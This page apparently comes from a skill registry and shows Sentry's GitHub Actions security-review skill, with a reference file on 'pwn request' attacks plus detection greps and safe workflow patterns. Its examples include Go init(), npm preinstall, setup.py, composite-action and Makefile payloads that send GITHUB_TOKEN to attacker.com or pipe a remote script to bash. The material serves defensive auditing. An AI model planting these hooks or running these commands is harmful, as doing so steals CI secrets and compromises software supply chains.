All skills
getsentry avatar

/gha-security-review

@e99aa67 official
by Sentrygetsentry/skills1k stars
53

GitHub Actions security review for workflow exploitation vulnerabilities. Use when asked to "review GitHub Actions", "audit workflows", "check CI security", "GHA security", "workflow security review", or review .github/workflows/ for pwn requests, expression injection, credential theft, and supply chain attacks. Exploitation-focused with concrete PoC scenarios.

Use this Skill: https://skilld.dev/gh/getsentry/skills/gha-security-review

This session only. Nothing lands on disk.

referencespwn-request.md

≈1.5k tokens on demand. Your agent reads this file only when SKILL.md points to it.

Pwn Request Attacks

Overview

A "pwn request" occurs when a pull_request_target workflow checks out and executes code from a fork PR. The pull_request_target trigger runs with the target repository's permissions and secrets, but if it checks out the fork's code, the attacker's code runs with those elevated privileges.


The Vulnerability

# VULNERABLE: checks out fork code with target repo permissions
on: pull_request_target

jobs:
  build:
    runs-on: ubuntu-latest
    permissions:
      contents: write
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}  # Fork code!
      - run: npm install && npm test  # Executes attacker's code

The key elements:

  1. pull_request_target grants target repo permissions/secrets
  2. actions/checkout with ref: pointing to the PR head checks out fork code
  3. Any run: step after checkout executes attacker-controlled code

Attack Vectors

Go init() Injection

Go's init() functions execute automatically before main(). If a workflow runs go run on checked-out fork code:

// Attacker adds this to any .go file in the repo
package main

import "os/exec"

func init() {
    _ = exec.Command("bash", "-c",
        `curl -s -H "Authorization: Bearer $GITHUB_TOKEN" \
        -d "token=$GITHUB_TOKEN&repo=$GITHUB_REPOSITORY" \
        https://attacker.com/collect`).Run()
}

Real-world: Used against awesome-go (140k+ stars). The Go quality check script ran go run ./.github/scripts/check-quality/, and the attacker injected an init() function that exfiltrated GITHUB_TOKEN with write permissions across 6 PRs.

npm preinstall / postinstall

{
  "scripts": {
    "preinstall": "curl -sSfL https://attacker.com/steal | bash"
  }
}

Any npm install, npm ci, or npm test (which often installs first) will execute these scripts.

Python setup.py

from setuptools import setup
from setuptools.command.install import install
import os

class Exploit(install):
    def run(self):
        os.system(f"curl -d token=$GITHUB_TOKEN https://attacker.com/collect")
        install.run(self)

setup(cmdclass={"install": Exploit})

Local Action Override

If the workflow uses a local action (./.github/actions/setup/action.yml), the attacker can modify it in their fork:

# Attacker's version of .github/actions/setup/action.yml
name: Setup
runs:
  using: composite
  steps:
    - run: curl -sSfL https://attacker.com/steal | bash
      shell: bash
    - run: echo "Setup complete"
      shell: bash

Real-world: Used against trivy (25k+ stars). The attacker modified .github/actions/setup-go/action.yaml to inject a payload. The "Set up Go" step took 5+ minutes (vs. normal seconds), and the stolen PAT was used to rename the repo, delete releases, and push malicious artifacts.

Makefile / Shell Script Override

If the workflow runs make or a shell script from the checkout:

# Attacker's Makefile
.PHONY: all
all:
	@curl -sSfL https://attacker.com/steal | bash
	@$(MAKE) real-build

Detection Patterns

# Find pull_request_target workflows
grep -rn "pull_request_target" .github/workflows/

# Check if they checkout fork code
grep -A 20 "pull_request_target" .github/workflows/*.yml | grep -E "ref:.*pull_request\.(head\.sha|head\.ref)"

# Check for local action usage (could be overridden by fork)
grep -rn "uses: \.\/" .github/workflows/

# Check what runs after checkout
grep -A 50 "actions/checkout" .github/workflows/*.yml | grep -E "^[[:space:]]*- run:"

Safe Pattern: Workflow Split

The fix is to split into two workflows: one that builds (with fork code, no secrets) and one that deploys (with secrets, no fork code).

# Workflow 1: Build (runs on fork code, no secrets)
name: Build
on: pull_request  # NOT pull_request_target
jobs:
  build:
    runs-on: ubuntu-latest
    permissions:
      contents: read
    steps:
      - uses: actions/checkout@v4  # Fork code, but read-only token
      - run: npm install && npm test
      - uses: actions/upload-artifact@v4
        with:
          name: build-output
          path: dist/
# Workflow 2: Deploy (runs on trusted code, has secrets)
name: Deploy
on:
  workflow_run:
    workflows: [Build]
    types: [completed]
jobs:
  deploy:
    if: github.event.workflow_run.conclusion == 'success'
    runs-on: ubuntu-latest
    permissions:
      contents: write
    steps:
      - uses: actions/checkout@v4  # Target repo code only
      - uses: actions/download-artifact@v4
        with:
          run-id: ${{ github.event.workflow_run.id }}
      # Deploy using trusted code + secrets

Safe Pattern: pull_request_target Without Checkout

# SAFE: pull_request_target that only reads PR metadata
on: pull_request_target
jobs:
  label:
    runs-on: ubuntu-latest
    permissions:
      pull-requests: write
    steps:
      - uses: actions/labeler@v5  # Only reads PR metadata
      # No checkout of fork code — attacker can't execute anything

Exploitation Scenario Template

ATTACK: Pwn Request via [Vector]
ENTRY: Attacker forks the repo and opens a PR
PAYLOAD: Modified [file] containing [malicious code]
TRIGGER: pull_request_target workflow at [workflow file:line]
EXECUTION: Workflow checks out fork code (line X), then runs [command] (line Y)
  which executes the attacker's modified [file]
IMPACT: GITHUB_TOKEN with [permissions] exfiltrated; attacker can [actions]

References

Source: SKILL.md on GitHub

2 alerts1d5 checks · Risk CRITICAL
  • Gen Agent Trust Hub1d

    This skill is a defensive security toolkit designed to audit GitHub Actions workflows for common vulnerabilities. It provides educational references and concrete examples of exploitation techniques such as shell injection, pwn requests, and credential escalation. While the skill contains code snippets and URLs associated with real-world attacks—documented as pedagogical examples to assist auditors—its intent is purely defensive and educational.

  • Socket1d

    2 alerts: gptSecurity

  • Snyk1d

    Risk: LOW · No issues

  • Runlayer7mo

    9/10 files flagged

  • ZeroLeaks5mo

    Score: 93/100 · 2 sections analyzed

Signed by skilld at e99aa67. This ties the file your Agent reads to that commit on GitHub. It does not review the instructions.

Last checked against GitHub yesterday.

Activeupdated last week
All 1 allowed tools
Read Grep Glob Bash Task
  • github-actions
  • workflow-security
  • ci-cd
  • expression-injection
  • supply-chain
  • pull-request-target
  • credential-theft
  • yaml

README badge

README badge for getsentry/skills/gha-security-review

Audits GitHub Actions workflows for externally-exploitable vulnerabilities including expression injection, credential theft, and pwn-request patterns. The skill traces complete attack paths from fork PRs and comments through to execution, and reports only HIGH and MEDIUM confidence findings with concrete proof-of-concept scenarios.

Generated from the current SKILL.md.

What threat model does this skill use?
The skill focuses on vulnerabilities exploitable by external attackers without write access — those who can open PRs from forks, create issues, and post comments. It does not flag vulnerabilities that require repository write access, such as workflow_dispatch input injection or expression injection in push-only workflows on protected branches.
What confidence levels does this skill report?
Only HIGH and MEDIUM confidence findings. HIGH requires a complete traced attack path with exploitation scenario. MEDIUM indicates a partially confirmed attack path that needs verification. LOW confidence theoretical issues are not reported.
What types of GitHub Actions vulnerabilities does this skill check for?
The skill checks for pwn request exploitation, expression injection, unauthorized command execution via issue comments, credential escalation, config file poisoning, insecure third-party action pinning, and unsafe permissions or secrets scoping.
Does this skill flag all uses of pull_request_target?
No. pull_request_target is only flagged if the workflow also checks out fork code or executes code from the PR. pull_request_target without fork checkout is marked as safe.
Does this skill review workflows in other repositories?
No. The skill reviews workflows in the provided repository only. Dependencies on workflows in other repositories are noted but not audited.

Generated from the current SKILL.md. These answers refresh after source changes.